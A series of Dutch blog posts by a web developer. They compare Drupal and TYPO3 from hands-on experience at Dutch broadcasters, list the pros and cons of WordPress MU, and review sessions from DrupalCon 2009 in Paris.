Wie zich verdiept in de wereld van open-source contentmanagementsystemen, komt al snel bekende namen als WordPress, Joomla, Drupal en TYPO3 tegen. Vooral Drupal en TYPO3 worden vaak toegepast voor het wat steviger werk, bijvoorbeeld sites met veel subsites, met allerlei web 2.0-achtige toepassingen en met koppelingen met externe systemen. Tot op zekere hoogte worden ze voor dezelfde soort websites ingezet, maar ze zijn totaal verschillend. Welk systeem moet je kiezen? Met zowel TYPO3 als Drupal heb ik nu ruim een jaar praktijkervaring, allebei in de omroepwereld, respectievelijk bij VARA en NCRV. Hieronder mijn bevindingen als webontwikkelaar.

Lees gewoon verder, of gebruik de inhoudsopgave links om alleen specifieke vergelijkingspunten te lezen.

Wat Drupal en TYPO3 gemeen hebben

Eerst wat basisbegrippen en de belangrijkste overeenkomsten. Drupal en TYPO3 zijn allebei PHP/MySQL-toepassingen die je op een eigen webserver kunt installeren. De kale versies (core) van beide systemen bieden al heel veel standaardfunctionaliteit, maar voor speciale doeleinden kun je nog extra aanvullende modules installeren, bij TYPO3 heten deze extensies. Beide contentmanagementsystemen hebben een back-end waarin redacteuren en beheerders kunnen inloggen voor hun dagelijkse werkzaamheden.

Drupal en TYPO3 hebben allebei een community van ontwikkelaars en gebruikers die zich inzetten voor de verdere ontwikkeling. Regelmatig verschijnen nieuwe updates van zowel core als modules/extensies. Meestal gaat het om nieuwe features en bugfixes, soms om reparatie van veiligheidslekken.

Gebruiksvriendelijkheid voor redacteuren

Het succes van een contentmanagementsysteem (cms) binnen een organisatie wordt voor een aanzienlijk deel bepaald door het draagvlak onder redacteuren. Zij werken er immers het meeste mee. Daarom behandel ik dit punt bewust als eerste. En op dit punt scoort Drupal duidelijk beter dan TYPO3. Webredacteuren die met Drupal werken heb ik eigenlijk nooit horen klagen dat het van nature een te ingewikkeld systeem zou zijn, integendeel. Stagiaires kunnen er al vrij snel mee aan de slag, zonder dat een ontwikkelaar ze voortdurend te hulp moet schieten.

De TYPO3-interface is daarentegen veel minder intuïtief, ik heb weleens scheldpartijen van gefrustreerde webredacteuren moeten aanhoren. Vaak verwijzen ze naar het immens populaire WordPress, een pakket waarmee steeds meer redacteuren ervaring hebben. Hoewel WordPress niet geschikt is voor het grote werk, zie je heel duidelijk dat WordPress qua gebruiksvriendelijkheid steeds meer de meetlat wordt waarlangs anders cms’en worden gelegd. En dan komt TYPO3 er niet zo best van af.

Een dikke plus dus voor Drupal. Toch zijn hierbij twee nuances op hun plaats. Allereerst is er in 2010 een nieuwe TYPO3-release verschenen (4.4) met een sterk verbeterde interface. TYPO3 probeert dus een inhaalslag te maken, goede zaak.

Daarnaast heeft TYPO3 een nuttige feature die van levensbelang kan zijn voor webredacteuren: de mogelijkheid om redactionele bewerkingen ongedaan te maken en verwijderde items uit een virtuele prullenbak terug te halen. In Drupal heb ik weleens gezocht naar dergelijke functionaliteit, maar wat ik vond was veel simpeler en lang niet full-proof. En tja, en als het een keer flink misgaat, dan blijft er nog maar één redmiddel over: in allerijl een databasebackup terugzetten.

Architectuur: inhoudstypes

Dit vind ik duidelijk een van de sterkste punten van Drupal. Dankzij de Drupal-module CCK (Content Construction Kit) kun je alle inhoudstypes (pagina’s, nieuwsberichten, adressen, gebruikers, vul zelf maar aan) via de back-end helemaal zelf configureren. Per inhoudstype kun je onbeperkt velden toevoegen en per veld het datatype (tekst, getal, plaatje, enzovoorts) specificeren. CCK is zó standaard geworden in Drupal dat vrijwel alle andere modules er goed mee samenwerken.

In TYPO3 is het ook wel mogelijk om je eigen inhoudstypes op maat te maken, maar dat ging altijd veel omslachtiger. Vaak zie je hierbij de TYPO3-extensie tt_news opduiken: aanvankelijk bedoeld voor nieuwsberichten, maar gaandeweg gebruikt voor van alles en nog wat, bijvoorbeeld om er portfolio-items in te zetten.

Een andere mogelijkheid is om voor specifieke inhoudstypes een aparte TYPO3-extensie te maken. Het werkt allemaal, maar uit oogpunt van transparantie, van integratie in andere modules en van slagvaardig debuggen geef ik toch de voorkeur aan de back-end als dé plek om inhoudstypes te definiëren en te beheren – dus zoals Drupal dat doet.

Heb je in Drupal eenmaal je eigen inhoudstypes gedefinieerd, dan kun je met de Views-module bepalen hoe ze op het scherm worden getoond. In essentie is Views niets anders dan een interface om query’s op je eigen inhoudstypes te specificeren. MySQL-kenners zullen juichen bij het lezen van de vorige zin.

Architectuur: taxonomieën

Drupal heeft nog een geweldige ingebouwde feature: taxonomieën. Net als CCK en Views is deze functionaliteit zo ingeburgerd dat talloze andere modules er vrijwel probleemloos mee samenwerken.

Dankzij taxonomieën heeft Drupal mijn manier van websites bouwen fundamenteel veranderd. Waar ik nu standaard mee begin, is eerst een of meer taxonomieën aanmaken en die koppelen aan de belangrijkste navigatiemenu’s. Daarna bekijk ik per taxonomie welke inhoudstypes erbij moeten komen en per inhoudstype welke datavelden erin moeten zitten.

In feite is dit de top-down benadering van een informatiearchitect. Vroeger werkte ik veel meer bottom-up: eerst inhoudstypes maken en dan pas kijken hoe je die content met rubrieken en tags inhoudelijk kunt ontsluiten en integreren in ander delen van de toekomstige site.

Architectuur: TYPO3-boomstructuur

TYPO3 heeft een volstrekt andere architectuur dan Drupal, die pakweg evenveel verschilt als de Chinese met de Engelse taal. De kern is een boomstructuur, waaraan je vrijwel alles kunt hangen: statische pagina’s, nieuwsitems, templates, geregistreerde gebruikers, gebruikersrechten, noem maar op.

In het begin heb ik erg moeten wennen aan dit concept. Die boom doet weliswaar denken aan een soort sitemap voor bezoekers van de site, maar deze vergelijking gaat al vrij snel mank. Nieuwsitems bijvoorbeeld: de detailpagina van een nieuwsitem hang je niet apart in de boom, maar alle nieuwsitem samen stop je samen in een storage-map, die je heel ergens anders in de boomstructuur kunt plaatsen. Ook kun je bepaalde zijtakken van de boom exclusief gebruiken voor templates, storagemappen en gebruikersgegevens.

Uiteindelijk is de TYPO3-boomstructuur dus een soort mengvorm van een sitemap voor redacteuren en een opbergsysteem voor ontwikkelaars en beheerders. Overzichtelijk en eenduidig is anders, maar ik moet ook wel weer toegeven: heb je het nogal abstracte principe van de boomstructuur eenmaal in je vingers, dan heb je genoeg bagage om ook complexe TYPO3-sites in betrekkelijk korte tijd te doorgronden.

Architectuur: domeinen

Bij TYPO3 en Drupal is het allebei mogelijk om content vanuit één installatie over verschillende domeinen en subdomeinen te serveren. Dit is een heel sterk punt van TYPO3: je kunt aan elk punt in de TYPO3-boomstructuur een domeinrecord hangen, zodat de onderliggende takken toegankelijk zijn via dat domein. Bij Drupal moet je hiervoor aparte modules inschakelen, en ik heb gemerkt dat de integratie met andere modules lang niet altijd perfect is – glad ijs dus.

Ontwikkeling: Typoscript

Iedere TYPO3-ontwikkelaar en -beheerder krijgt vroeg of laat te maken met Typoscript. Aanvankelijk was Typoscript bedoeld als een simpel XML-achtig configuratietaaltje voor webdesigners die niet met PHP kunnen of willen werken. In de loop der jaren is deze scriptingtaal echter zo complex geworden (met name door stdWrap) dat de mogelijkheden veel en veel verder reiken en er hele boeken over zijn verschenen.

Met Typoscript heb ik altijd een haat-liefdeverhouding gehad. In het gunstigste geval kun je met Typoscript dingen voor elkaar krijgen zonder nieuwe TYPO3-extensies te bouwen of bestaande extensies aan te passen. In het ongunstigste geval wordt Typoscript te veel gebruikt als onnodige vervanging van PHP-code. Het gevolg: honderden regels Typoscript-code, die door zijn sterk afwijkende, niet-sequentiële manier van abstraheren veel moeilijker te doorgronden is dan hetzelfde aantal PHP-regels. Typoscript vond ik bovendien altijd lastig te debuggen, bij mijn weten zijn daar geen goede tools voor zoals bij PHP. Typoscript is ook nog veel zwijgzamer dan PHP als het gaat om errors en warnings.

Ontwikkeling: modules/extensies en complexiteit

Drupal noemt ze modules, TYPO3 noemt ze extensies, maar het gaat om hetzelfde: extra bouwstenen die je optioneel kunt installeren. Vanuit de community worden er al duizenden aangedragen, waarvan een groot deel van uitstekende kwaliteit. Daarnaast bestaat natuurlijk altijd de mogelijkheid om zelf nieuwe modules te ontwikkelen – en bij voorkeur later weer terug te geven aan de community.

Zelf heb ik geen praktijkervaring met het bouwen van TYPO3-extensies, wel met het debuggen en aanpassen van Drupal-modules. Drupal werkt met hooks: functies die bestaande functionaliteit in de Drupal-core veranderen of uitbreiden. Dat lijkt heel overzichtelijk, maar ergens is er toch wel een grens. Als je lang doorgaat met extra modules installeren, bereik je naar mijn gevoel bij Drupal eerder een omslagpunt dan bij TYPO3. Dat omslagpunt uit zich in de vorm van niet gemakkelijk op te lossen bugs en performanceproblemen.

Ik ben er nog niet achter waar ‘m dat precies in zit. Mogelijk dat de vrij horizontale Drupal-architectuur ervoor zorgt dat er meer afhankelijkheden ontstaan in een complexe website. Interessant leesvoer wat dit betreft is The problem of Drupals exponential complexity van Bèr Kessels.

De boomstructuur van TYPO3 – hoe warrig ook voor redacteuren en beginnende ontwikkelaars – lijkt uiteindelijk toch beter te schalen. Het is prima mogelijk om extensies alleen aan relevante delen van een website te hangen, wat interferentie en afhankelijkheden tussen extensies een stuk zou kunnen beperken.

Ontwikkeling: documentatie

Hier kan ik kort over zijn: zowel bij Drupal als bij TYPO3 is die goed. Er zijn handleidingen voor beginners en gevorderden op internet te vinden, en ook in boekvorm. Wel merk ik in de praktijk dat als je met specifieke probleempjes zit, je bij Drupal meer kans hebt om bruikbare oplossingen te vinden dan bij TYPO3, simpelweg doordat Drupal wereldwijd meer gebruikers heeft en er meer over geblogd wordt.

Ontwikkeling: zoeken

TYPO3 en Drupal hebben allebei out-of-the-box een zoekmogelijkheid. Bij TYPO3 is die slecht schaalbaar, bij sites van meer dan een paar honderd webpagina’s is die al merkbaar traag. De standaardzoeker van Drupal doet het iets beter, maar ook die raad ik niet aan voor complexe sites.

De oplossing in beide gevallen is integratie met externe zoekoplossingen. Bij TYPO3 is mnoGoSearch een veelgebruikte oplossing; bij Drupal heb ik goede ervaringen met Apache SOLR.

Ontwikkeling/beheer: OTAP

Het is vanzelfsprekend dat je nieuwe functionaliteit eerst ontwikkelt en test, alvorens die live te zetten. Vaak wordt hierbij het OTAP-model aangehouden: Ontwikkel, Test, Acceptatie, Productie.

Deze stapsgewijze werkwijze impliceert dat je af en toe nieuwe code moet overzetten naar een andere omgeving. Dat klinkt eenvoudig, maar de praktijk valt tegen. Drupal- en TYPO3-websites bestaan allebei voor een deel uit statische bestanden (PHP, templates, CSS) en voor een deel uit configuratie die in de MySQL-database wordt opgeslagen.

De statische bestanden zijn simpel over te zetten (al of niet met een versiebeheersysteem als SVN), maar de configuratie is lastiger. Als je een hele database overzet vanuit Ontwikkel, Test of Acceptatie naar Productie, dan wordt de bestaande redactionele content in de productieomgeving overschreven. Je moet dus maar een klein stukje van de database overzetten. In praktijk werkt het vaak het snelst door de configuratie op Productie handmatig opnieuw door te voeren. Met het risico dat je daarbij fouten maakt.

TYPO3 heeft daarbij nog een extra complicatie: in Typoscript wordt vaak verwezen naar specifieke knooppunten in de boomstructuur. TYPO3 doet dat met automatisch gegenereerde id’s. Maar pagina’s met redactionele content gebruiken ook die id’s. Het gevolg: als je een al bestaande site op Productie terugkopieert naar Ontwikkel om nieuwe features te ontwikkelen, dan gaan ontwikkelaars op Ontwikkel en redacteuren op Productie onbedoeld dezelfde id’s gebruiken. Bij het overzetten van ontwikkelwerk naar Productie moet je dus alle id’s langslopen en zonodig hernummeren.

Enfin, ik kan me voorstellen dat dit verhaal over id’s erg gedetailleerd wordt. Wat ik maar wil zeggen: Drupal en TYPO3 zijn allebei niet ideaal qua OTAP, waarbij Drupal net iets minder problematisch is. Overigens weet ik niet of TYPO3 op dit punt in het afgelopen jaar veel is veranderd. Als je als TYPO3-ontwikkelaar hier iets meer over weet, dan ben je welkom dat onderaan te melden bij de reacties.

Beheer: performance

Bij elke PHP/MySQL-toepassing zie je hetzelfde beeld: hoe meer bezoekers er komen, hoe trager je site wordt. Vaak is MySQL de bottleneck. Zowel bij Drupal als bij TYPO3 heb ik gezien dat het aantal database-query’s voor de homepage van een portaalsite kan oplopen tot tussen de 500 en 1000. Voor één pagina!

Caching is dus noodzakelijk en bij beide cms’en kunnen diverse cachingtechnieken voorhanden die veel performancewinst kunnen opleveren. In die zin is er dus nauwelijks verschil.

Beheer: security

In beide systemen worden weleens veiligheidslekken ontdekt, waarna onder regie van het Drupal Security Team of het TYPO3 Security Team een nieuwe versie van de core of van een specifieke module/extensie wordt uitgebracht. In frequentie en ernst van gevonden problemen zie ik geen wezenlijk verschil tussen Drupal en TYPO3.

Beheer: upgraden

Hier scoort TYPO3 veel beter. Gemiddels eens per twee jaar verschijnt een major release van Drupal. Als ik deze woorden tik, staat versie 7.0 op het punt van verschijnen. Major releases van Drupal brengen altijd ingrijpende veranderingen met zich mee. Zelf heb ik een keer een relatief eenvoudige Drupal-site geüpgrade van 5 naar 6. Daar was ik dagen mee bezig, vooral omdat enkele Drupal 5-modules niet meer in 6 werkten en daarvoor andere oplossingen moesten worden gezocht.

Upgraden bij TYPO3 geeft veel minder kopzorgen. De enige nieuwe major release die ik ooit bij TYPO3 heb meegemaakt, versie 4.0, gaf betrekkelijk weinig problemen.

Front-end: zelf themen

Drupal en TYPO3 zijn beide van nature meer georiënteerd op back-end webontwikkelaars, minder op themers. In beide systemen is theming een vak apart. HTML en CSS zijn vaak verspreid over templates, modules en configuratie in de back-end. Het is vaak lastig om ‘even’ iets aan te passen.

In de praktijk merk ik dat dat met Drupal wel wat sneller gaat dan bij TYPO3. Net als bij WordPress werk je bij Drupal met HTML-templates waar je PHP-functies in kunt stoppen. Vooral als je ervaring hebt met WordPress, zul je Drupal-theming veel sneller oppikken dan TYPO3-theming.

Aan de andere kant heeft Drupal een euvel dat TYPO3 weer niet heeft: de naar mijn smaak nogal doorgeslagen neiging om werkelijk overal ‘classes’ en ‘divs’ in te voegen – in Drupal word je soms tureluurs van de overmaat aan CSS.

Front-end: kant-en-klare themes

WordPress-gebruikers worden verwend met een overvloed aan kant-en-klare themes – deels gratis, deels voor een bescheiden bedrag te koop. Het laatste jaar zie ik steeds meer van die themes overgezet worden naar Drupal, al blijft Drupal sterk achterlopen.

Voor TYPO3 is het aanbod aan goede themes helemaal erg beperkt. Als je voor TYPO3 kiest, is de kans dus groot dat je zelf moet gaan themen, of dat deel van de ontwikkeling uitbesteden.

Community

Via mailinglijsten, forums en gebruikersdagen volg ik de community’s van WordPress, Joomla, Movable Type, TYPO3 en Drupal op de voet. Die van Drupal vind ik het plezierigst en meest gastvrij, met WordPress als goede tweede. Vooral op de halfjaarlijkse Drupal-conferenties (DrupalCon) ervaar ik een schwung die ik zelden elders meemaak in de ict-wereld, zie bijvoorbeeld mijn ervaringen met DrupalCon 2009 in Parijs.

Conclusie

De goede verstaander zal het wel hebben begrepen: ik ben zelf meer fan van Drupal dan van TYPO3. Vooral de gebruiksvriendelijkheid voor redacteuren, de elegante architectuur van Drupal en de enthousiaste community hebben mijn hart gestolen. Als voormalig TYPO3-ontwikkelaar heb ik de nogal spartaanse interface en het schrijven en debuggen van Typoscript als de grootste struikelblokken ervaren.

Daarmee wil ik beslist niet zeggen dat TYPO3 in zijn algemeenheid een inferieur systeem is. Als het gaat om complexe portaalsites met content op verschillende (sub)domeinen, denk ik zelfs dat TYPO3 een meer solide oplossing biedt dan Drupal. De toekomst van TYPO3 zie ik daarom vooral als ontwikkelframework voor high-end toepassingen, minder als cms. De TYPO3-community werkt zelf al geruime tijd aan zo’n framework: Flow3. Zonder meer een interessante ontwikkeling.

Maar voor verreweg de meeste websites zal zo’n geavanceerd framework niet nodig zijn. Heb je een middelgrote website in gedachten? Met maar één domein? Eventueel met community? Of web 2.0-toepassingen? Dan lijkt Drupal me het aangewezen cms.

WordPress MU… wat is dat?

Even uitleggen: WordPress (wordpress.org) is een open-source pakket waarmee je weblogs en niet al te ingewikkelde websites kunt maken. WordPress MU (mu.wordpress.org) is in feite hetzelfde, maar met het verschil dat je het maar één keer hoeft te installeren om meerdere websites op te zetten. MU (spreek uit mjoe) staat dan ook voor multi-use.

Themes (om je WordPress-site een eigen smoel te geven) en plugins (extra snufjes) hoef je maar één keer te installeren. Per website kun je beslissen deze wel of niet te activeren. Elke WordPress MU-website draait naar keuze op een eigen subdomein (sitenaam.laterna.nl), of in een submap (laterna.nl/sitenaam).

Het ei van Columbus voor wie meerdere WordPress-websites beheert? Soms wel, soms niet. Hieronder mijn bevindingen.

Voordelen van WordPress MU?

Uniformiteit in beheer
Zoals gezegd hoef je bij WordPress MU alle themes en plugins maar één keer te installeren. Dus zodra een nieuwe versie van een plugin verschijnt, hoef je die maar eenmalig bij te werken. Dat scheelt veel werk als je heel veel websites beheert. Zeker als het gaat om een security-upgrade is het belangrijk om snel om te kunnen schakelen naar een veilige nieuwe versie.

Meertalige websites
WordPress MU is handig bij het opzetten van een meertalige website. Voor elke taal maak je een nieuwe website aan. Bouw in de layout een taalswitch in en je bent al een heel eind op streek.

Backups
WordPress MU stopt de data van alle websites in één en dezelfde MySQL-database. Je hoeft dus maar één database te backuppen. Maak je een nieuwe website aan op dezelfde WPMU-installatie? Als je eenmaal hebt gezorgd voor een goede backupprocedure, dan wordt de nieuwe website automatisch meegenomen.

OTAP
Complexe websites worden vaak volgens het OTAP-stappenplan opgezet (Ontwikkeling, Test, Acceptatie, Productie), of een vereenvoudigde versie daarvan, bijvoorbeeld alleen Test en Productie. In WordPress MU kun je voor elk van deze stappen een aparte website aanmaken. Zodra een stap is afgerond, kun je de website overkopiëren naar de volgende website. Alle websites draaien echter op dezelfde server, waardoor je minder snel voor verrassingen komt te staan als een website live gaat.

Aggregatie
Heb je een hele serie weblogs onder WordPress MU en wil je een voorpagina maken met een overzicht van de laatste blogberichten, of een tagcloud van alle blogs? Er bestaan diverse plugins die dit voor je kunnen doen, zoals AHP Sitewide Recent Posts for WPMU en WordPress MU Sitewide Tags Pages. Een voorbeeld van zo’n totaaloverzicht zie je op weblogs.nos.nl en www.blogo.nl.

Geavanceerde rechtenstructuur
Bij WordPress werd al onderscheid gemaakt tussen auteurs en beheerders, maar bij WordPress MU gaat de rechtenstructuur nog een stap verder. Je hebt daar beheerders voor de hele WordPress MU-installatie en ook beheerders per afzonderlijke site, of combinatie daarvan. Gebruikers kunnen zowel redacteur als beheerder zijn, of zelfs redacteur van de ene site en beheerder van de andere site. Je hoeft maar één keer je wachtwoord te wijzigen en de wijziging geldt voor alle websites.

En de nadelen van WordPress MU?

Tot zover allemaal goed nieuws. Afgelopen jaar heb ik ook een aantal minpunten van WordPress MU ondervonden.

Beperkte compatibiliteit
Het overgrote deel van alle WordPress-plugins en themes is gemaakt voor de klassieke WordPress-versie. De meeste draaien ook wel op WordPress MU, maar soms vraagt het wat extra programmeerinspanning om een plugin of theme ook daar goed te laten werken. Het is me ook zelf overkomen: je koopt voor 75 dollar een mooi WordPress-theme, bij installatie blijkt die niet geschikt voor WPMU, maar dat stond niet op de site toen ik dat theme kocht.

Downtime bij upgraden
Is er een belangrijke nieuwe WordPress-versie verschenen? Bij WPMU hoef je maar één installatie te upgraden. Maar dat is tegelijkertijd ook een nadeel: mocht de upgrade niet vlekkeloos verlopen (bijvoorbeeld omdat een van de plugins niet compatibel is met de nieuwe versie), dan zijn álle websites op die installatie uit de lucht totdat jij het probleem hopelijk hebt opgelost.

Grotere kwetsbaarheid
Ook hacks brengen grotere risico’s met zich mee bij WordPress MU. Zoals gezegd maken alle websites gebruik van dezelfde MySQL-database. Als een WPMU-installatie is gekraakt, dan kunnen álle websites verloren gaan.

Niet up-to-date
WordPress MU is gebaseerd op de programmeercode van WordPress. Zodra een beveiligingslek wordt gevonden, verschijnt een nieuwe versie van WordPress. Daarna duurt het meestal een paar dagen, of zelfs nog langer, voordat ook WordPress MU eindelijk is bijgewerkt.
Uiteraard heb ik er begrip voor dat open-source software grotendeels vrijwilligerswerk is en dat veel ontwikkelaars dit naast hun reguliere baan doen. Toch zit deze vertraging in het updaten van WPMU mij niet lekker. Voor hackers is het immers een kleine moeite om een script te schrijven dat internet afzoekt naar WordPress MU-websites die nog niet up-to-date zijn. Als het dagen duurt voordat een WPMU-site weer veilig is, dan hebben ze zeeën van tijd om toe te slaan.

Subdomeinen en submappen
Zoals gezegd kun je bij de installatie van WordPress MU kiezen of een website een subdomein (sitenaam.laterna.nl) of een submap (laterna.nl/sitenaam) moet worden van het hoofddomein. Die keuze kun je maar één keer maken. Het is wel mogelijk om later alsnog te switchen van het een naar het ander, maar dat is bepaald niet eenvoudig en de benodigde stappen worden bij mijn weten nergens op de officiële website uitgelegd (wel op particuliere blogs). Doorgaans wordt aangeraden om in deze situatie alles opnieuw te installeren.
Verder heeft WordPress MU nog een onhebbelijkheid: hij laat standaard www. in het adres van het hoofddomein weg. Mijn website heeft daardoor een jaar lang laterna.nl als adres gehad, in plaats van www.laterna.nl.
Nu maakte dat in de praktijk niet zo gek veel uit: je werd van www.laterna.nl automatisch doorgelinkt naar laterna.nl. En ook hier kun je met enig kunst- en vliegwerk het www. wel weer terugkrijgen in het adres. Toch raakt dit bij mij een principieel punt: ik wil dit soort dingen zélf beslissen. Waarom moet WPMU per se afwijken van de conventie dat alle webadressen met www beginnen?

Conflicten met andere toepassingen
Zodra je op een Linux-server kiest voor installatie van WordPress MU op subdomeinen, dan kunnen er complicaties optreden. Afhankelijk van hoe je de DNS hebt gewijzigd, kunnen bestaande subdomeinen opeens niet meer werken, bijvoorbeeld webmail.laterna.nl. Dit is allemaal wel op te lossen, maar het rechtzetten van DNS-settings is tijdrovend omdat sommige wijzigingen pas na enkele uren effect hebben.
Als je geen toegang hebt tot je eigen DNS, dan is mijn advies: installeer WPMU-websites als submappen, niet als subdomeinen – het kan je een heleboel rompslomp schelen.

Kortom?

Het is niet mijn bedoeling om WordPress MU hier af te kraken – alleen maar om de plussen en minnen in kaart te brengen.

Voor mij persoonlijk is WPMU niet de juiste oplossing gebleken. Ik beheer maar een handjevol weblogs en ben tot de conclusie gekomen dat WordPress MU in mijn situatie meer overhead oplevert dan bespaart. Inmiddels ben ik weer teruggegaan naar afzonderlijke WP-installaties.

Toch zijn er situaties waar WPMU wel degelijk een goede oplossing is. Ik denk dan aan een combinatie van de volgende omstandigheden:

• schaal: je hebt te maken met meer dan pakweg 5 WordPress-websites
• uniformiteit: alle websites hebben grote overeenkomsten in vormgeving en functionaliteit, zodat het beheer van themes en plugins overzichtelijk blijft
• heldere taakverdeling: je werkt met meerdere mensen en kunt de taken van admin en author goed scheiden

Ook denk ik dat WordPress MU hogere eisen stelt aan de rol van beheerder:

• technische kennis: Linux, DNS, PHP, MySQL-databases, zelf kunnen sleutelen aan themes en plugins (mochten deze niet goed werken in WPMU)
• beschikbaarheid: in geval van beveiligingsincidenten moet de admin snel kunnen ingrijpen en tijdens zijn vakantie moet er altijd een plaatsvervanger zijn

Kan jouw organisatie of team voldoen aan deze voorwaarden? Ga dan gerust aan de slag met WordPress MU, bij verantwoord gebruik zul je er veel plezier van hebben.

En anders: denk er nog eens goed over na. Misschien is dan de klassieke versie van WordPress nog zo gek niet – ook al moet je die voor elke website apart installeren.

Presentaties

Van bijna elke presentatie zijn video-opnamen gemaakt. De organisatie heeft beloofd die video’s online te zetten. Zodra dat is gebeurd, zal ik de links toevoegen in onderstaand overzicht.

45 Modules in 45 Minutes – the Best Modules You’re Not Using

Iedere Drupal-ontwikkelaar kent CCK en Views, maar in deze sessies passeerden 45 andere modules de revue die veel minder bekend zijn, maar toch de moeite waard. Better Messages, HTML Purifier, Image Resize Filter, Table Wizard, Persistent Login, Automated Logout, Taxonomy Breadcrumb, Taxonomy Image – ik kende ze allemaal nog niet, maar sommige ga ik zeker gebruiken.
» presentatie en videobeelden: drupaleasy.com/45

Sustainable theming: how to take a vacation

Een vlotte lezing waarin het belang van duurzame CSS werd uitgelegd, zodat je naderhand gemakkelijker dingen kunt aanpassen of uitbreiden. Natuurlijk een behartenswaardig onderwerp, alleen bleef het allemaal nogal abstract bij gebrek aan concrete voorbeelden van duurzame en niet-duurzame CSS.
» presentatie: www.slideshare.net/caroltron/sustainable-theming

Geo tools for Drupal

Als liefhebber van wandelen kijk ik reikhalzend uit naar alle ontwikkelingen die met GIS te maken hebben. In de Drupal-community wordt volop gewerkt aan koppelingen met GIS-servers en mashups, waarvan in deze sessie verslag werd gedaan. Een bijzonder interessante ontwikkeling, zij het tot nu toe nog zonder veel zichtbare resultaten.

Basics of making a mobile website with Drupal

Wat mij betreft een van de beste presentaties van de hele conferentie. Tom Deryckere van Siruna behandelde eerst de algemene principes van mobiele websites, zoals navigatie, tools en valkuilen. Daarna liet hij een veelbelovende nieuwe tool van Siruna zien om websites te vertalen naar mobiele platforms.
» presentatie: www.mobiledrupal.com/content/slides-presentation-mobile-drupal-drupal-camp-colorado (van een eerdere conferentie, maar ogenschijnlijk dezelfde presentatie)
» promotiefilmpje: www.siruna.com/our-technology-platform (is nog in bèta).

Drupal for Media + Edipresse Success Story

Een sessie over de introductie van Drupal bij het Zwitserse uitgeefconcern Edipresse. Daarbij viel vooral op hoe snel ze het allemaal voor elkaar kregen, mede dankzij de Agile-ontwikkelmethodiek en slim hergebruik van HTML/CSS-templates. De verschillen tussen adverteren in print en op internet werden nogal breed uitgemeten. Ja, het is moeilijk om met een nieuwssite geld te verdienen. Ja, traditionele adverteerders geven voor kranten en tijdschriften meer geld uit dan voor websites. Maar dat wisten we tien jaar geleden toch allemaal al?
» presentatie (gedeeltelijk): www.slideshare.net/pjduvivier/drupal-experience-at-edipresse-media-company

Social + Media: What We Need Next

Een geanimeerde keynote speech van Chris Heuer over social media. Niet dat ik me heb verveeld, maar anderhalve week later is me eigenlijk maar één ding van zijn betoog bijgebleven en dat is dat bedrijven vooral als media moeten gaan denken. Eigenlijk wel grappig, want in de vorige sessie over Edipresse was de ondertoon juist tegengesteld: media moesten daar vooral als bedrijven gaan denken.

Transforming The Economist Online using Drupal, open-source and Scrum

Deze vlag dekte de lading precies. De invoering van Drupal bij The Economist was niet alleen de overgang op een andere techniek, maar ook op een andere filosofie (open-source) en andere ontwikkelmethodiek (Scrum). Zelf heb ik nog geen ervaring met Agile en Scrum, maar ik zie duidelijk voordelen ten opzichte van de traditionele watervalmethode (ook enkele nadelen overigens).
» samenvatting: http://paris2009.drupalcon.org/session/transforming-economist-online-using-drupal-open-source-and-scrum

Make a Module: A Hands-on Intro to Module Development

Een spoedcursus Drupal-modules bouwen. Duidelijk verhaal, voor mij erg leerzaam.

How To: Install, Upgrade, Backup, & Migrate

In deze sessie zag ik vooral heel veel scripting voorbij komen. Plus één markante uitspraak onthouden: dat het upgraden van n aparte Drupal-installaties soms sneller gaat dan één grote multisite-installatie waar alle n websites op draaien, terwijl je juist het omgekeerde zou verwachten.
» presentatie: drupaladmin.net/paris

Drupal Ingredients for your Website Dish, or Modules You Should Use on Every Site

Nog een bloemlezing van leuke Drupal-modules, je zou er wel vijf sessies mee kunnen vullen.
» presentatie: docs.google.com/present/view?id=dcv55663_82d9m66bdz

Agile Drupal Development with Scrum

Agile en Scrum werden al in andere lezingen genoemd en geroemd. Hier werd er wat uitgebreider op ingegaan wat ze precies behelzen. Een goed-gestructureerde presentatie.

Understanding Drupal 6 Themes

Het afgelopen halfjaar heb ik veel gestoeid met theming in Drupal. Toch maar een kijkje nemen, dacht ik, wie weet leer ik nog wat nieuws. De sessie duurde echter maar 20 minuten: 15 minuten om de basisprincipes uit te leggen en 5 minuten voor wat vraagjes uit de zaal. Dus nog ruim een half uur over om leerzame praktijkvoorbeelden te geven? Nee, de sessie bleek afgelopen.
» presentatie: docs.google.com/present/view?id=0AUvHZLXzMJuBZGZrc3B2NzdfNmdxNDRmemNy&hl=en

Semantic Web fundamentals

Een keynote speech van Dan Brickley, deskundig op het gebied van W3C-webstandaarden. Deze presentatie ging over de toekomst van het web, met voor mij (ooit mijn loopbaan begonnen op een wetenschappelijke bibliotheek) een eyeopener: Brickley strooide met termen die al tientallen jaren in de bibliotheekwereld in zwang zijn, zoals thesauri, taxonomieën, Dublin Core, enzovoorts. Door de komst van het web en Google in het bijzonder zijn bibliotheken door veel mensen overbodig verklaard, maar na zo’n lezing lijkt het wel alsof juist deze ogenschijnlijk stoffige beroepsgroep mede de sleutel in handen heeft tot de toekomst van het web. Een fascinerende gedachte die mij de rest van de dag niet heeft losgelaten.

jQuery for designers and themers

Voor mij is jQuery niet nieuw, maar op deze sessie zag ik toch weer leuke nieuwe voorbeelden. De spreker nam in ieder geval de moeite om vanuit een praktijkvoorbeeld te werken en na elke aanpassing direct het effect te laten zien. jQuery UI, gebaseerd op jQuery, komt in de core van Drupal 7.
» presentatie: docs.google.com/present/view?id=drmcbw4_1816qv2fkc7

Building blocks for your module’s UI

Hier kregen Drupal-modulebouwers tips en best practices voorgeschoteld hoe je een prettige interface maakt voor je nieuwe Drupal-module. In algemene zin valt het mij op dat de Drupal-gemeenschap veel aandacht besteedt aan een gebruiksvriendelijke backend.

Welcome to the Jungle! Basic Drupal Recipes and Best Practices for Beginners

Een razendsnelle Drupal-introductie voor absolute beginners, eigenlijk meer gericht op ‘power users’ dan op ontwikkelaars. De beste tip van de hele sessie, en misschien wel van de hele conferentie: maak eerst een uitgewerkte schets op papier van wat je wilt gaan bouwen.

Sharing content across multiple sites with Domain Access

Ik ben nog te kort bezig met Drupal om alle ins en outs van deze presentatie te doorgronden. Maar het feit dat er meer dan tien Drupal-modules voorbijkwamen, plus nog wat PHP-code om bijvoorbeeld cookies te zetten, doet mij desondanks concluderen dat een ander open-source cms als Typo3 op dit specifieke punt veel eleganter in elkaar steekt. Anderzijds heeft Drupal op andere punten ook weer grote voordelen ten opzichte van Typo3. Op de verschillen tussen Drupal en Typo3 wil ik later in een aparte blogpost terugkomen.

Even een mailtje gestuurd naar de uitgever en binnen een kwartier (!) een reactie gekregen met meer informatie:

